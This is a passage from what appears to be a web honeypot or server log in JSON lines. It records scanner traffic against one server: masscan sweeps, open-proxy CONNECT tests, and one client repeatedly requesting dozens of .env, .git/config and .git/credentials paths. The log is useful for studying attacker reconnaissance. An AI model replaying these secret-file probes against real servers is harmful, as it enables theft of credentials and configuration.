"/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/docs/cplugError.html/", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Host": "www.wikipedia.org", "Method": "HEAD", "Path": "http://www.wikipedia.org", "Http_Version": "HTTP/1.0"} -{"ip": "109.74.204.123", "Method": "CONNECT", "Path": "www.wikipedia.org:80", "Http_Version": "HTTP/1.0"} -{"ip": "109.74.204.123", "Host": "www.computerhistory.org", "Method": "GET", "Path": "http://www.computerhistory.org", "Http_Version": "HTTP/1.0"} -{"ip": "109.74.204.123", "Method": "CONNECT", "Path": "www.computerhistory.org:80", "Http_Version": "HTTP/1.0"} -{"ip": "109.74.204.123", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "109.74.204.123", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "109.74.204.123", "Host": "static.148.22.202.116.clients.your-server.de", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Host": "static.148.22.202.116.clients.your-server.de", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "103.237.87.198", "Host": "www.google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "www.google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "152.32.164.139", "Accept_Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "Host": "116.202.22.148:8080", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "152.32.164.139", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "152.32.164.139", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11", "Method": "GET", "Path": "/robots.txt", "Http_Version": "HTTP/1.1"} -{"ip": "152.32.164.139", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11", "Method": "GET", "Path": "/sitemap.xml", "Http_Version": "HTTP/1.1"} -{"ip": "152.32.164.139", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Authorization": "NTLM TlRMTVNTUAABAAAAB4IIoAAAAAAAAAAAAAAAAAAAAAA=", "Connection": "keep-alive", "Host": "116.202.22.148:8080", "User_Agent": "python-requests/2.27.1", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "190.122.151.198", "Accept": "text/plain,text/html", "Host": "116.202.22.148", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "104.152.52.198", "Accept": "*/*", "User_Agent": "masscan/1.3 (https://github.com/robertdavidgraham/masscan)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "104.152.52.198", "Accept": "*/*", "User_Agent": "masscan/1.3 (https://github.com/robertdavidgraham/masscan)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "193.35.18.187", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "3.84.188.63", "Accept_Charset": "utf-8", "Accept_Encoding": "gzip", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Linux; Android 10; Redmi Note 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.101 Mobile Safari/537.36", "Method": "GET", "Path": "/.git/credentials", "Http_Version": "HTTP/1.1"} -{"ip": "78.40.106.19", "Content_Length": "0", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "python-requests/2.31.0", "Method": "GET", "Path": "/.git/config", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/back/.env", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/back/.env", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/.env.prod", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/.env.prod", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/.env.production", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/.env.production", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/enviroments/.env.production", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/enviroments/.env.production", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/.env.dist", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/.env.dist", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/cp/.env", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/cp/.env", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/enviroments/.env", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/enviroments/.env", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/cms/.env", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/cms/.env", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/rest/.env", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/rest/.env", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/core/.env", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/core/.env", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/api/.env", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/api/.env", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/.env.development", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/.env.development", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/.env.project", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/.env.project", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/.env.old", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/.env.old", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/laravel/.env", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/laravel/.env", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/admin-app/.env", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/admin-app/.env", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/sources/.env", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/sources/.env", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/app/.env", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/app/.env", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/script/.env", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/script/.env", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/local/.env", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/local/.env", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/shared/.env", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/shared/.env", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/application/.env", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/application/.env", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/docker/.env", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/docker/.env", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/apps/.env", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/apps/.env", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/live_env", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/live_env", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/fedex/.env", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/fedex/.env", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/system/.env", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/system/.env", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/development/.env", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/development/.env", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/private/.env", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/private/.env", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/.env", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/.env", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/.env.save", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", 